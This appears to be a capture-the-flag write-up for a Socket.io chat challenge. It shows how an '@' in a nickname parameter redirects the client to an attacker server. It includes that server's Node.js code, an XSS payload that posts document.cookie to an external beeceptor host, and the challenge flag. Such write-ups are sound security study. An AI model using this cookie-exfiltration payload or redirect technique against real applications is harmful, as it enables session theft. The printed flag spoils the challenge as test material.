Premise:
It’s a chat room where the frontend communicates with the backend via Socket.io. Messages sent from the frontend get sanitized via DOMPurify in the backend so barring a zero-day with DOMPurify, there’s no immediately obvious way to get XSS from the backend.
socket.on("msg", (msg) => {
msg.from = String(msg.from).substr(0, 16);
msg.text = String(msg.text).substr(0, 140);
if (room === "DOMPurify") {
io.to(room).emit("msg", {
from: DOMPurify.sanitize(msg.from),
text: DOMPurify.sanitize(msg.text),
isHtml: true,
});
} else {
io.to(room).emit("msg", {
from: msg.from,
text: msg.text,
isHtml: false,
});
}
});
Looking at the frontend code, we can see the socket connection gets initialized with the io
constructor from Socket.io:
let socket = io(`/${location.search}`);
The frontend looks for two URL parameters: nickname
& room
–room must equal either "DOMPurify"
or "Text"
, otherwise the frontend will error out, but we can load nickname with whatever we want. Any we can trick the socket io parser to open a connection to another endpoint by using the @
character in our nickname:
http://47.254.28.30:58000/?room=DOMPurify&nickname=@our-evil-endpoint.com/
This allows us to send a URL to the admin bot which will then read an HTML payload from our endpoint and we can easily exfil the flag.
Server code:
I had to setup the CORS header to accept requests from any origin (origin:*
) since our endpoint wasn’t the same origin as the frontend.
const app = require('express')();
const http = require('http').Server(app);
const io = require('socket.io')(http, {
cors: {
origin: "*",
methods: ["GET", "POST"]
},
});
const DOMPurify = require('isomorphic-dompurify');
const hostname = process.env.HOSTNAME || '0.0.0.0';
const port = 9999;
const rooms = ['textContent', 'DOMPurify'];
app.get('/', (req, res) => {
res.sendFile(__dirname + '/index.html');
});
const fs = require('fs')
const payload = fs.readFileSync('evil.js', 'utf-8')
io.on('connection', (socket) => {
console.log("THIS SHOULD TRIGGER")
let {nickname, room} = socket.handshake.query;
console.log("Opening connection for: nickname=",nickname, "room =", room)
console.log(socket.handshake.query)
socket.join('DOMPurify');
io.to('DOMPurify').emit('msg', {
from: 'system',
text: payload,
isHtml: true
// text: 'a new user has joined the room'
});
socket.on('msg', msg => {
msg.from = String(msg.from).substr(0, 16)
msg.text = String(msg.text).substr(0, 140)
console.log(`RECV: from = "${msg.from}", text = "${msg.text}"`)
if (room === 'DOMPurify') {
io.to('DOMPurify').emit('msg', {
from: DOMPurify.sanitize(msg.from),
text: DOMPurify.sanitize(msg.text),
isHtml: true
});
} else {
io.to(room).emit('msg', {
from: msg.from,
text: msg.text,
isHtml: true
});
}
});
});
http.listen(port, hostname, () => {
console.log(`outpost server running at http://${hostname}:${port}/`);
});
From here our server would just read evil.js
which included a standard XSS payload:
<img src=x onerror="fetch('https://rehiughergrgiuehg.free.beeceptor.com', {method: 'POST', body: document.cookie})" />
And finally, we get our flag: flag=rwctf{1e542e65e8240f9d60ab41862778a1b408d97ac2}